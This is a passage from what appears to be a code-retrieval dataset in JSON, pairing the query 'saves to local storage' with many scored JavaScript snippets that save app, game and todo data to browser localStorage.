"d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" }, { "docid": "d3527f99dbd1442c4e9b5abadd070d77", "score": "0.57746047", "text": "function createRef() {\n var refObject = {\n current: null\n };\n {\n Object.seal(refObject);\n }\n return refObject;\n }", "title": "" } ]
f7827dc99659676904d24204e9304518
saves to local storage
[ { "docid": "16b1635529f5c7e31334186ad71ab318", "score": "0.0", "text": "function saveContent() {\n localStorage.setItem(\"workdaySchedule\", JSON.stringify(fieldContents));\n}", "title": "" } ]
[ { "docid": "bb49785f33f2734d81e1e75cc9907be7", "score": "0.817574", "text": "function save() {\n localStorage.saved = true;\n\n localStorage.happiness = happiness;\n localStorage.hunger = hunger;\n localStorage.cum = cum;\n localStorage.artist_name = artist_name;\n localStorage.artist_pic_path = artist_pic_path;\n\n localStorage.saveTime = Date.now();\n}", "title": "" }, { "docid": "f9e06a507762f61cc35830ea5827e2aa", "score": "0.77109283", "text": "function saveToLocalStorage() {\n if (localStorage) {\n localStorage.setItem(\"player\", JSON.stringify(Player));\n localStorage.setItem(\"map\", JSON.stringify(Landscape));\n localStorage.setItem(\"npc\", JSON.stringify(Margo));\n localStorage.setItem(\"script\", JSON.stringify(StoryScript));\n }\n}", "title": "" }, { "docid": "4d15090e8337ead892e4478d1fffe632", "score": "0.767288", "text": "save() {\n try {\n localStorage.setItem(this.storageKey, JSON.stringify(this.data));\n } catch (err) {}\n }", "title": "" }, { "docid": "1a8ac2a79a6d46e3f057f3de7aaee781", "score": "0.76611906", "text": "function saveLocalStorage() {\n localStorage.setItem(\"storage\", JSON.stringify(storage));\n}", "title": "" }, { "docid": "20a7c0fe15367e69f1b4aa0c74c33c73", "score": "0.7647501", "text": "function saveData(){\n localStorage.saveServer\n }", "title": "" }, { "docid": "a0dc3b4cb79efd036e8214e822f8a9ae", "score": "0.75571513", "text": "function saveToLocal() {\n if (autosaveEnabled) {\n localStorage.setItem(AUTOSAVE_KEY, JSON.stringify({\n timestamp: Date.now(),\n multiple_choice: gatherInputAnswersByType(\"multiple_choice\"),\n short_answer: gatherInputAnswersByType(\"short_answer\"),\n codebox: gatherInputAnswersByType(\"codebox\")\n }));\n }\n}", "title": "" }, { "docid": "52bce2ea4b094e4084dbcf935be20ce7", "score": "0.7502053", "text": "function save(){\n localStorage.setItem('email', email.checked);\n localStorage.setItem('profile', profile.checked);\n localStorage.setItem('timezone', timezone.value);\n\n}", "title": "" }, { "docid": "37becd1bbf0e6dee71c209bfa605d4d6", "score": "0.7480269", "text": "function SaveLocalData () {\r\n\t// Convinience\r\n\tvar toSavedData = [\"0.08\",game.time,money,food,pop,territory,usedTerritory];\r\n\t\r\n\tif(typeof(Storage) !== \"undefined\"){\r\n\t\tSet_LocalStorage(\"SmallWarSave\",toSavedData);\r\n\t\tSet_LocalStorage(\"SmallWar_Inventory\",Inventory.exportData());\r\n\t\tSet_LocalStorage(\"SmallWarWorkers\",workerArray);\r\n\t\tSet_LocalStorage(\"SmallWarBuildings\",buildingArray);\r\n\t\tSet_LocalStorage(\"SmallWarProjects\",projectArray);\r\n\t\tSet_LocalStorage(\"SmallWarSoldiers\",soldierArray);\r\n\t\tMessenger.pushMessage(\"Saved sucessfully\");\r\n\t} \r\n\telse \r\n\t{\r\n\t\tMessenger.pushMessage(\"Not saved sucessfully, unable to access local web storage.\");\r\n\t}\r\n\t\r\n}", "title": "" }, { "docid": "8094f59aa6bd952840882332d50f7e56", "score": "0.74765563", "text": "function save() {\n // Remember we need to set the \"key\":\"value\" pair!\n localStorage.setItem(\"name_array\", convertedArray);\n localStorage.setItem(\"user_obj\", convertedObject);\n localStorage.setItem(\"user_object_array\", convertedArrayObject);\n return console.log(\"Saved to Local Storage\");\n}", "title": "" }, { "docid": "dad740c980a59d72ad0745d860b06628", "score": "0.74724364", "text": "function save() {\n localStorage[\"score\"] = score;\n localStorage[\"prevScore\"] = prevScore;\n localStorage[\"numBlks\"] = numBlks;\n localStorage[\"level\"] = level;\n localStorage[\"difficulty\"] = difficulty;\n localStorage[\"size\"] = size;\n localStorage[\"board\"] = JSON.stringify(board);\n localStorage[\"board2\"] = JSON.stringify(board2);\n}", "title": "" }, { "docid": "dad740c980a59d72ad0745d860b06628", "score": "0.74724364", "text": "function save() {\n localStorage[\"score\"] = score;\n localStorage[\"prevScore\"] = prevScore;\n localStorage[\"numBlks\"] = numBlks;\n localStorage[\"level\"] = level;\n localStorage[\"difficulty\"] = difficulty;\n localStorage[\"size\"] = size;\n localStorage[\"board\"] = JSON.stringify(board);\n localStorage[\"board2\"] = JSON.stringify(board2);\n}", "title": "" }, { "docid": "b82609884fdd04e9b3aea23bbeff336f", "score": "0.7458992", "text": "saveLocal() {\n if (this.saveView.inputLocalStorage.value != Utilitary.currentScene.sceneName && !Scene.rename(this.saveView.inputLocalStorage, this.saveView.rulesName, this.saveView.dynamicName)) {\n }\n else {\n if (typeof sessionStorage != 'undefined') {\n var name = this.saveView.inputLocalStorage.value;\n var jsonScene = this.sceneCurrent.saveScene(true);\n if (this.isFileExisting(name)) {\n new Confirm(Utilitary.messageRessource.confirmReplace, (callback) => { this.replaceSaveLocal(name, jsonScene, callback); });\n return;\n }\n else {\n this.setStorageItemValue('FaustPlayground', name, jsonScene);\n }\n new Message(Utilitary.messageRessource.sucessSave, \"messageTransitionOutFast\", 2000, 500);\n var event = new CustomEvent(\"updatelist\");\n document.dispatchEvent(event);\n }\n else {\n new Message(Utilitary.messageRessource.errorLocalStorage);\n }\n }\n }", "title": "" }, { "docid": "9c5b498b75e6ac5aac2a93e5b0cd1789", "score": "0.7452703", "text": "saveLocally() {\n if (typeof localStorage === \"undefined\")\n return;\n localStorage.setItem(\"game\", JSON.stringify(this.toJSON()));\n }", "title": "" }, { "docid": "915e4521ba1b62d3e17d8ff3fd9d934a", "score": "0.7427546", "text": "function save() {\n\t localStorage[\"thearchiver_archiveorg\"] = document.getElementById(\"archiveorg\").checked;\n\t localStorage[\"thearchiver_archiveis\"] = document.getElementById(\"archiveis\").checked;\n}", "title": "" }, { "docid": "1a3bd21d18367405061c3e2ebe474de4", "score": "0.7422108", "text": "saveToLocalStorage() {\n\t\tif (!hasLocalStorage) return;\n\t\ttry {\n\t\t\tif (!this.isEmpty()) {\n\t\t\t\tlocalStorage.setItem('last_model', this.exportAeon());\n\t\t\t}\t\t\t\n\t\t} catch (e) {\n\t\t\tconsole.log(e);\n\t\t}\n\t}", "title": "" }, { "docid": "bf3bc6cab4f326c82b14adf98b052f1b", "score": "0.7410219", "text": "function save(){\r\n\t\tvar s = Storage.getDefault();\r\n\t\tvar ud = that.exportUserData();\r\n\t\ts.saveUserData(ud);\r\n\t}", "title": "" }, { "docid": "daf10f9993fd570e1a777ff183667ecd", "score": "0.73934793", "text": "function save(){\n\t\t\tvar json = JSON.stringify(allItems);\n\t\t\t//console.log(json);\n\t\t\tlocalStorage.setItem(storageKey, json);\n\t\t}", "title": "" }, { "docid": "2e75ad54c60090de17c9c8fc25b14233", "score": "0.73892343", "text": "function save() {\n //Saving it to localStorage\n window.localStorage.setItem(activityNameInLocalStorage, JSON.stringify($scope.activityData));\n }", "title": "" }, { "docid": "2e75ad54c60090de17c9c8fc25b14233", "score": "0.73892343", "text": "function save() {\n //Saving it to localStorage\n window.localStorage.setItem(activityNameInLocalStorage, JSON.stringify($scope.activityData));\n }", "title": "" }, { "docid": "b7f7390bfc6fb614fbad4aadf18ea1c9", "score": "0.7386515", "text": "function saveToLocal() {\n localStorage.removeItem(\"tasks\");\n localStorage.removeItem(\"projects\");\n localStorage.removeItem(\"members\");\n localStorage.setItem(\"members\", JSON.stringify(members));\n localStorage.setItem(\"tasks\", JSON.stringify(tasks));\n localStorage.setItem(\"projects\", JSON.stringify(projects));\n}", "title": "" }, { "docid": "a27f08b3c6a4b07fc6e5b24084e8f6c2", "score": "0.7368447", "text": "save() {\n localStorage.setItem(this.localStorage_key, JSON.stringify(this.collection));\n }", "title": "" }, { "docid": "70ce43ce32756b683cc2782debbbe3c7", "score": "0.734969", "text": "saveToLocalStorage() {\n console.log('this:', this);\n\n localStorage.setItem(STORE_KEY, JSON.stringify(this.toJS()));\n }", "title": "" }, { "docid": "57f7a22b9f103b1539a9a4b1618400a9", "score": "0.73395187", "text": "function SAVE() {\n\t\tLOG( 'AUTO_FARM->SAVE()' );\n\t\t\n\t\tlocalStorage[ 'TWA AUTO_FARM MODELS' ] = JSON.stringify( models );\n\t}", "title": "" }, { "docid": "eaa68b429b77e6a046b42c9ae2b8d48e", "score": "0.73355156", "text": "save() {\n // Create a JSON string of the tasks\n const tasksJson = JSON.stringify(this.tasks);\n\n // Store the JSON string in localStorage\n localStorage.setItem('tasks', tasksJson);\n\n // Convert the currentId to a string;\n const currentId = String(this.currentId);\n\n // Store the currentId in localStorage\n localStorage.setItem('currentId', currentId);\n }", "title": "" }, { "docid": "c415d7cc29ffea1fd54a5d6fc5118a06", "score": "0.73233134", "text": "function saveData() {\n\tlocalStorage.setItem('playerOne', JSON.stringify(playerOne));\n\tlocalStorage.setItem('playerTwo', JSON.stringify(playerTwo));\n}", "title": "" }, { "docid": "3d87a8b392735d2f2d2ca23f42490a4b", "score": "0.73192406", "text": "function saveLocalStorage(){\n \n window.localStorage.setItem(\"list\" , JSON.stringify(list));\n window.localStorage.setItem(\"timeCounter\" , JSON.stringify(timeCounter));\n window.localStorage.setItem(\"allCourse\" , JSON.stringify(allCoure));\n window.localStorage.setItem(\"notCompleteCounter\" , JSON.stringify(notCompleteCounter));\n window.localStorage.setItem(\"completeCounter\" , JSON.stringify(completeCounter));\n }", "title": "" }, { "docid": "caaf7ba42b9e041fb98d399c430b1acc", "score": "0.7307964", "text": "function save(){\n var saveNameInputVal=document.getElementById(\"saveNameInput\").value;\n var saveName=(SAVE_NAME!=null)?SAVE_NAME:saveNameInputVal;\n var mapDim=extractDimension(MAP);\n var save={\n items:ITEM_ORDER,\n mapDim:mapDim\n };\n localStorage.setItem(saveName,JSON.stringify(save));\n closePrompt(SAVE_PROMPT.id);\n}", "title": "" }, { "docid": "9f591246dd9331ead1b5d192dff53a7d", "score": "0.72992873", "text": "function _save() {\n _dropOldEvents();\n // remove expired events\n try {\n _storage_service.jStorage = JSON.stringify(_storage), // If userData is used as the storage engine, additional\n _storage_elm && (_storage_elm.setAttribute(\"jStorage\", _storage_service.jStorage), \n _storage_elm.save(\"jStorage\")), _storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0;\n } catch (E7) {}\n }", "title": "" }, { "docid": "b6f316fb64659ef4e187eb666121d754", "score": "0.727911", "text": "function SaveDataToStorage(){\n\t//console.log('saving out data');\n\n\t//stringify the saveData object\n\tvar jsonString = JSON.stringify(saveData);\n\t//save the stringified string out to the localStorage key from config\n\tlocalStorage.setItem(config.saveKeyName, jsonString);\n}", "title": "" }, { "docid": "366dac9f2c602100229e067e902eaf76", "score": "0.7268999", "text": "function saveToStorage() {\n\tlocalStorage.setItem(\"ee_mediaobjects\", JSON.stringify(gMediaObj));\n}", "title": "" }, { "docid": "6394e4ceedb553ed50c28ab1092b828c", "score": "0.72519004", "text": "function saveLocal(){\n\t\tvar num = Math.floor(Math.random()*7463778270);\n\t\tvar\tv = {};\n\t\t\tv.place = [\"Location : \", a(\"place\").value]; \n\t\t\tv.resturant = [\"Name of Restaurant : \", a(\"restaurant\").value];\n\t\t\tv.date = [\"Date : \", a(\"date\").value];\n\t\t\tv.types = [\"Type of Restaurant : \", a(\"types\").value];\n\t\t\tv.numScale = [\"How good it was on a scale of 1-10 : \", a(\"numScale\").value];\n\t\t\tv.comments = [\"Comments : \", a(\"comments\").value];\n\t\tlocalStorage.setItem(num, JSON.stringify(v));\n\t\talert(\"Restaurant Tracked!!! \");\n\t}", "title": "" }, { "docid": "c67bc0f558e65e39dad616123c70d4f3", "score": "0.7246126", "text": "function _save() {\r\r\n _dropOldEvents(); // remove expired events\r\r\n try {\r\r\n _storage_service.jStorage = JSON.stringify(_storage);\r\r\n // If userData is used as the storage engine, additional\r\r\n if (_storage_elm) {\r\r\n _storage_elm.setAttribute('jStorage', _storage_service.jStorage);\r\r\n _storage_elm.save('jStorage');\r\r\n }\r\r\n _storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0;\r\r\n } catch (E7) { /* probably cache is full, nothing is saved this way*/ }\r\r\n }", "title": "" }, { "docid": "06ede42bdfe42424ceece40af42ced07", "score": "0.7244805", "text": "save() {\n const tasksJson = JSON.stringify(this.tasks);\n localStorage.setItem('tasks', tasksJson);\n const currentId = JSON.stringify(this.currentId);\n localStorage.setItem('currentId', currentId);\n }", "title": "" }, { "docid": "3ae544887972649557ff5560e222d29e", "score": "0.7233742", "text": "function caj_saveInLocalStore(key, data) {\n localStorage.setItem(key, data);\n}", "title": "" }, { "docid": "2bc9451935d2a9d95cc6fe0fce26cf79", "score": "0.7229463", "text": "function saveForm() {\n localStorage.setItem(\"Feet\", feet.value);\n localStorage.setItem(\"Inch\", inches.value);\n localStorage.setItem(\"Gender\", gender.value);\n localStorage.setItem(\"Age\", age.value);\n localStorage.setItem(\"Weight\", weight.value);\n localStorage.setItem(\"Hours\", hours.value);\n localStorage.setItem(\"Alerts\", alertInt.value);\n}", "title": "" }, { "docid": "470c7a6ffe2bf794c08805672f8d3abd", "score": "0.7227885", "text": "function save(){\n localStorage.setItem('todo',JSON.stringify(todo));\n console.log('working')\n}", "title": "" }, { "docid": "6e795dbdba2bbb42ea1b029bd8128114", "score": "0.7227574", "text": "save() {\r\n this.numRowsOnMap = ~~this.ui.rngMaxRowsOnMap.val();\r\n this.numColumnsOnMap = ~~this.ui.rngMaxColsOnMap.val();\r\n this.numPlayersMoves = ~~this.ui.rngPlayersMoves.val();\r\n this.numWeaponsOnMap = ~~this.ui.rngWeapons.val();\r\n this.numObstacles = ~~this.ui.rngObstacles.val();\r\n this.moveByMouse = this.ui.chkUseMouse.prop(\"checked\");\r\n localStorage.setItem('config',\r\n JSON.stringify({\r\n numRowsOnMap: this.numRowsOnMap,\r\n numColumnsOnMap: this.numColumnsOnMap,\r\n numPlayersMoves: this.numPlayersMoves,\r\n numWeaponsOnMap: this.numWeaponsOnMap,\r\n numObstacles: this.numObstacles,\r\n moveByMouse: this.moveByMouse\r\n }));\r\n }", "title": "" }, { "docid": "d1e8981e38f58ba44a8b9f59d5df3e00", "score": "0.7227515", "text": "saveToLocalStorage() {\n // saves lists to local storage\n localStorage.setItem(\n this.LOCAL_STORAGE_LIST_KEY,\n JSON.stringify(this.lists)\n );\n // saves selected list id to local storage\n localStorage.setItem(\n this.LOCAL_STORAGE_SELECTED_LIST_ID_KEY,\n this.selectedListId\n );\n }", "title": "" }, { "docid": "6588c433576da04ba7ae4a879399c61c", "score": "0.72258604", "text": "function save(){\n\tlocalStorage.setItem(LOCAL_STORAGE_LIST_KEY,JSON.stringify(lists));\n\tlocalStorage.setItem(LOCAL_STORAGE_SELECTED_LIST_ID_KEY,selectedListId);\n\n}", "title": "" }, { "docid": "c24e3508aff3a7435aadf66d151fdec9", "score": "0.7222333", "text": "saveFile(){\n var file = {\n score: this.score,\n levelmarket: this.levelmarket,\n leveldev: this.leveldev,\n leveldesign: this.leveldesign,\n prixmarket: this.prixmarket,\n prixdev: this.prixdev,\n prixdesign: this.prixdesign,\n temps: this.temps,\n timer: this.timer,\n };\n console.log(\"Fichier enregistré\");\n localStorage.setItem('saveFile',JSON.stringify(file));\n }", "title": "" }, { "docid": "707d2957067aaa925caa23265d85b703", "score": "0.7207553", "text": "function saveData() {\n const save = {\n \"level\": levelCounter.getValue(),\n \"score\": scoreCounter.getValue(),\n \"clicNumber\": clicCounter.getValue(),\n \"time\": diff\n };\n localStorage.setItem(\"save\", JSON.stringify(save));\n return false;\n}", "title": "" }, { "docid": "206dbe9bcb03be6d36510fc425a01ebc", "score": "0.71949154", "text": "function save() {\n // save the chats object\n localStorage.setItem('chats', JSON.stringify(chats));\n // save the users object\n localStorage.setItem('users', JSON.stringify(users));\n // save the currentChat object\n localStorage.setItem('currentChat', JSON.stringify(currentChat));\n}", "title": "" }, { "docid": "8a37946100f4885438ca64b4a498a9d3", "score": "0.7177948", "text": "function saveLocalstorageData(){\n console.log('Salvataggio dei dati utente');\n //utilizza l'oggetto localStorage per salvare i dati all'interno del browser\n localStorage.setItem('userData', JSON.stringify(codemotion2014.model.contact.getData()))\n alert('i dati sono stati salvati nel localstorage');\n return true;\n }", "title": "" }, { "docid": "76f06bb708f0a89701282d9d7f5c3742", "score": "0.71755123", "text": "function saveArrangement(){\n\t\t// generate the json of the current arrangement\n\t\tvar newObject = collectData(true);\n\t\tvar arrangementSave;\n\t\t\n\t\t// create a new localstorage object\n\t\tif (localData == \"\") {\n\t\t\tarrangementSave = '{ \"viewpoints\": [';\n\t\t\tarrangementSave += JSON.stringify(newObject);\n\t\t\tarrangementSave += ']}'\n\t\t}else {\n\t\t\tif(loaded){\n\t\t\t\t// update the current arrangement\n\t\t\t\t//console.log(newObject);\n\t\t\t\tlocalData.viewpoints.splice(loadID,1,newObject); \n\t\t\t}else{\n\t\t\t\t// just add the new arrangment to the localstorage\n\t\t\t\tlocalData.viewpoints.push(newObject);\n\t\t\t}\n\t\t\tarrangementSave = JSON.stringify(localData);\n\t\t}\n\t\t\n\t\t$('#saveButton').attr(\"disabled\", \"true\");\n\t\tlocalStorage.setItem(\"arrangements\", arrangementSave);\t\n\t\t\n\t}", "title": "" }, { "docid": "79be7575168de3e40f467de611625e08", "score": "0.7170743", "text": "function saveLocalStorage(){\n\tlocalStorage.agendaItems = JSON.stringify(AgendaItems.courseNames);\n\twindow.alert('Your data has been saved');\n}", "title": "" }, { "docid": "a0053f1e5b63a56e5a614ac2587d18a7", "score": "0.7158946", "text": "function save_data(){\n localStorage[\"player_id\"] = player_id;\n localStorage[\"game_id\"] = game_id;\n}", "title": "" }, { "docid": "f5c93fa0404086888ec5c65563157d0e", "score": "0.7148944", "text": "saveLocal() {\n // let st=JSON.stringify(this)\n // console.log(st);\n // console.log(JSON.parse(st));\n this.enemigo = null; //referencias cíclicas\n localStorage.setItem(this.nombre, JSON.stringify(this));\n }", "title": "" }, { "docid": "0b64f9645f65cf30c788c42e1324233b", "score": "0.7145475", "text": "function saveDataToLocalstorage() {\n var todoString = JSON.stringify(todos);\n window.localStorage.setItem('todos', todoString);\n}", "title": "" }, { "docid": "bbb74f891e51021b8605b1f0f114a346", "score": "0.71446127", "text": "function writeDataFile() {\r\n\t\tif (typeof(Storage) === \"undefined\")\r\n\t\t\treturn;\r\n\t\t\r\n\t\tlocalStorage.clear();\r\n\t\tlocalStorage.setItem(\"version\", ver);\r\n\t\tlocalStorage.setItem(\"dps\", dps);\r\n\t\tlocalStorage.setItem(\"kbreaks\", JSON.stringify(kbreaks));\r\n\t\tlocalStorage.setItem(\"ksoft\", JSON.stringify(ksoft));\r\n\t\tlocalStorage.setItem(\"kmedium\", JSON.stringify(kmedium));\r\n\t\tlocalStorage.setItem(\"khard\", JSON.stringify(khard));\r\n\t}", "title": "" }, { "docid": "1d635fb668d02621dc3734212ef0fcf9", "score": "0.71429026", "text": "save() {\n const tasksJson = JSON.stringify(this.tasks);\n localStorage.setItem(\"tasks\", tasksJson);\n // console.log(`localStorage; ${localStorage.tasksJson}`);\n // alert(`localstorage ${localStorage.tasksJson}`);\n const currentId = String(this.currentId);\n localStorage.setItem(\"currentId\", currentId);\n }", "title": "" }, { "docid": "613810153b56498bf9de3d540f9fc5f4", "score": "0.71305066", "text": "function _save() {\r\n try {\r\n _storage_service.jStorage = json_encode(_storage);\r\n // If userData is used as the storage engine, additional\r\n if (_storage_elm) {\r\n _storage_elm.setAttribute(\"jStorage\", _storage_service.jStorage);\r\n _storage_elm.save(\"jStorage\");\r\n }\r\n _storage_size = _storage_service.jStorage ? String(_storage_service.jStorage).length : 0;\r\n } catch (E7) { /* probably cache is full, nothing is saved this way*/ }\r\n }", "title": "" }, { "docid": "c100f7a5efa6585da4e207f2b7250fbc", "score": "0.71291447", "text": "function _save() {\n _dropOldEvents(); // remove expired events\n try {\n _storage_service.jStorage = JSON.stringify(_storage);\n // If userData is used as the storage engine, additional\n if (_storage_elm) {\n _storage_elm.setAttribute(\"jStorage\", _storage_service.jStorage);\n _storage_elm.save(\"jStorage\");\n }\n _storage_size = _storage_service.jStorage\n ? String(_storage_service.jStorage).length\n : 0;\n } catch (E7) {\n /* probably cache is full, nothing is saved this way*/\n }\n }", "title": "" }, { "docid": "17b962bceb65d346f939da831ea6bb68", "score": "0.71174526", "text": "function saveGame() {\n\n var localBoard = JSON.stringify(board)\n\n var name = document.getElementById(\"namePlayer\").value\n\n var score = document.getElementById(\"score\").value\n\n localStorage.setItem(\"board\", localBoard)\n\n localStorage.setItem(\"name\", name)\n\n localStorage.setItem(\"score\", score)\n\n localStorage.setItem(\"date\", Date())\n}", "title": "" }, { "docid": "4f3d59c32d3a320f1daf40fffa1ee508", "score": "0.71095335", "text": "function saveLocalTodos(){\n localStorage.setItem('todos', JSON.stringify(todos));\n }", "title": "" }, { "docid": "4436f914b09082b02776baf58976996a", "score": "0.71061456", "text": "function saveInfo() {\n var pos = 0;\n var teamName = '';\n var sprintTime = '';\n\n $('.js-save-info').click(function () {\n\n if ($('.js-position-checkbox').is(':checked')) {\n pos = 1;\n }\n if ($('.js-team-name').val().length > 0) {\n teamName = $('.js-team-name').val();\n }\n if (document.querySelector('input[name=\"rb\"]:checked')) {\n sprintTime = parseInt(document.querySelector('input[name=\"rb\"]:checked').value);\n }\n\n var inf = {\n position: pos,\n teamsName: teamName,\n sprintWeeks: sprintTime\n }\n chrome.storage.local.set({ 'personalInfo': inf });\n\n\n $(this).addClass('saved',{duration:500});\n setTimeout(function(){\n $('.js-save-info').removeClass('saved',{duration:500});\n }, 4000);\n })\n }", "title": "" }, { "docid": "783648fa53fd4e7505be4ce94187da81", "score": "0.7105192", "text": "function save(data){\n localStorage.setItem(\"data\", JSON.stringify(data));\n\n return data;\n }", "title": "" }, { "docid": "598640230fdc2395d85ec23a91b2d120", "score": "0.7096916", "text": "save() {\n const tasksJSON = JSON.stringify(this._tasks);\n localStorage.setItem(\"tasks\", tasksJSON);\n const currentId = this.currentId.toString();\n localStorage.setItem(\"currentId\", currentId);\n }", "title": "" }, { "docid": "f8f75aafa2240739f416093e49fd7c3d", "score": "0.7093941", "text": "function Save() {\n if (typeof (Storage) !== 'undefined') {\n localStorage.setItem(`${maintodolist.username.toLowerCase()}todolist`, JSON.stringify(maintodolist));\n } else {\n console.log('No local storage support');\n }\n}", "title": "" }, { "docid": "8b003c1e46717ce2dbc115175677ed4f", "score": "0.7085617", "text": "function save(){\n var nodes = objectToArray(network.body.data.nodes._data,network.getPositions());\n localStorage.setItem('nodes', JSON.stringify(nodes));\n localStorage.setItem('edges', JSON.stringify(network.body.data.edges._data));\n}", "title": "" }, { "docid": "bb1406fb5deb374377c54623cc80bee6", "score": "0.70515126", "text": "function save(){\n \n }", "title": "" }, { "docid": "e7f3ff55e2b438070cd8da8c7330f99e", "score": "0.7050623", "text": "function save (key, value) {\n\tlocalStorage.setItem(key, value);\n}", "title": "" }, { "docid": "2ab730b75e0f9cb7b21632569eb3ac70", "score": "0.7047616", "text": "function save(data) {\n localStorage.setItem(\"kanban-data\", JSON.stringify(data));\n}", "title": "" }, { "docid": "70b3c4bccd7f73d40371595676b57e00", "score": "0.70471555", "text": "function writeToLocalStorage()\n{\n\t\n\tvar dumArray=\n\t[\n\t\t{\n\t\t\t\"name\":\"task1\",\n\t\t\t\"completed\":false\n\t\t},\n\t\t{\n\t\t\t\"name\":\"task2\",\n\t\t\t\"id\":false\n\t\t},\n\t\t{\n\t\t\t\"name\":\"task3\",\n\t\t\t\"id\":true\n\t\t}\n\t];\n\t// dumArray.push(\"name\":\"Another\", \"id\":\"2\");\n\tlocalStorage.setItem('todo-list-shashvat',JSON.stringify(dumArray));\n\t\n}", "title": "" }, { "docid": "cc8d5d2d7637cef2d5f4f5fd82c160a7", "score": "0.7045173", "text": "saveToLocalStorage(data) {\n LocalStorageHelper.set(LocalStorageHelper.CONFIG, JSON.stringify(data));\n }", "title": "" }, { "docid": "d4ec1d6d58990dc438a44ac2e330990f", "score": "0.70419985", "text": "function saveFlights(){\n localStorage.setItem(\"flights\", JSON.stringify(flights));\n}", "title": "" }, { "docid": "024a96f3868bec6df867676259019996", "score": "0.70356643", "text": "function _save(){\n try{\n _storage_service.jStorage = json_encode(_storage);\n // If userData is used as the storage engine, additional\n if(_storage_elm) {\n _storage_elm.setAttribute(\"jStorage\",_storage_service.jStorage);\n _storage_elm.save(\"jStorage\");\n }\n _storage_size = _storage_service.jStorage?String(_storage_service.jStorage).length:0;\n }catch(E7){/* probably cache is full, nothing is saved this way*/}\n }", "title": "" }, { "docid": "55a4354617e9fd849001b62d58b5b029", "score": "0.7034659", "text": "save(){\n localStorage.setItem(CYCLING_LS, JSON.stringify(this.allUserData))\n }", "title": "" }, { "docid": "370c8cd0e007dbb892ac07d6cd6f0d82", "score": "0.7024405", "text": "save() {\n //saves in mem or fs\n return storage.save(this);\n }", "title": "" }, { "docid": "505ecd21689815e46e2cb7dbfce7cae5", "score": "0.70221627", "text": "function save_data() {\n var json_company_details = JSON.stringify(company_details);\n localStorage.setItem('company_details', json_company_details);\n}", "title": "" }, { "docid": "faaea0ed3e910aa27daa464ec25b279b", "score": "0.7004656", "text": "function saveSettings() {\n s.add(STORAGE_KEY, settings);\n }", "title": "" }, { "docid": "6555f37ad2b09951a5c8272b52ca7c37", "score": "0.7000099", "text": "function Save() {\n win.name = JSON.stringify(store);\n }", "title": "" }, { "docid": "e85d59fda512d768921360f5e169d78d", "score": "0.6999521", "text": "function save() {\n localStorage.setItem(LOCAL_STORAGE_SELECTED_TAB_ID_KEY, selectedTabId)\n localStorage.setItem(LOCAL_STORAGE_BUDGET_LIST_ID_KEY, JSON.stringify(budgetList))\n}", "title": "" }, { "docid": "f0d74c8939884e01c0541cdcf537a7bf", "score": "0.6998753", "text": "save(state, payload) {\n state.saved_data = payload;\n state.saved_data.s_data[state.saved_data.c_pos.row][\n state.saved_data.c_pos.col\n ].state = 0;\n localStorage.setItem('nusheets-data', JSON.stringify(state.saved_data));\n localStorage.setItem('nusheets-theme', JSON.stringify(state.theme));\n state.last_saved = new Date();\n }", "title": "" }, { "docid": "e9c38f9a5e15682e6886091ee767f6aa", "score": "0.6993034", "text": "function saveToStorage() {\n localStorage.setItem('list_todos', JSON.stringify(todos));\n}", "title": "" }, { "docid": "d5dfe536d64b708270a7896b32d5f89c", "score": "0.6985476", "text": "save(data){\n localStorage.setItem(\"data\", JSON.stringify(data));\n return data;\n }", "title": "" }, { "docid": "7dccd5379f1bda6424577777159046f3", "score": "0.6984142", "text": "function saveData() {\n localStorage.userData= JSON.stringify(userData);\n }", "title": "" }, { "docid": "ec14ecd9153904518272edf69f4d2917", "score": "0.69801706", "text": "function saveMytunes() {\n localStorage.setItem('myTunes', JSON.stringify(myTunes))\n}", "title": "" }, { "docid": "4fa9e4e97e59ca70472be5396e2fb133", "score": "0.697732", "text": "function save() {\n localStorage.servers = JSON.stringify(servers);\n }", "title": "" }, { "docid": "742dee86d3fb7d8b61f9540a05b63a67", "score": "0.6972493", "text": "function save(){\n new Data();\n new LkdItem;\n list.push('Most liked items: ' + likedItem);\n localStorage.list = list;\n console.log('browser:', list);\n console.log('localStorage:', localStorage.list);\n}", "title": "" }, { "docid": "b21f3e46ab24041eb5265db84e811ac7", "score": "0.69707584", "text": "function savePlayerInLS() {\n localStorage.setItem(\"player-name\", playerName);\n localStorage.setItem(\"player-wins\", playerWins);\n localStorage.setItem(\"player-games\", playerGames);\n localStorage.setItem('player-list',JSON.stringify(playerList));\n}", "title": "" }, { "docid": "40ba4745f4c04bcd15ea95a0e57737f0", "score": "0.6968576", "text": "function savetodos() {\n let str = JSON.stringify(todos);\n localStorage.setItem(\"todos\", str);\n }", "title": "" }, { "docid": "ddc6e7dd79663df40b7288595fd57d4d", "score": "0.69683814", "text": "saveName(firstName,lastName){\n\n localStorage.setItem(\"lastName\",lastName)\n localStorage.setItem(\"firstName\",firstName)\n }", "title": "" }, { "docid": "2fa053f2de48d1f260d4eeeffe7b04e6", "score": "0.696332", "text": "function saveBD(){\n localStorage.computerScore = computerScore;\n localStorage.humanScore = humanScore;\n}", "title": "" }, { "docid": "fa76e7497997bd86dcaa753eb22dcb22", "score": "0.6962997", "text": "function saveWebstorage() {\n console.log('saveWebstorage');\n // convertir le tableau contact en string JSON\n // et le placer dans localStorage sous le nom contact\n 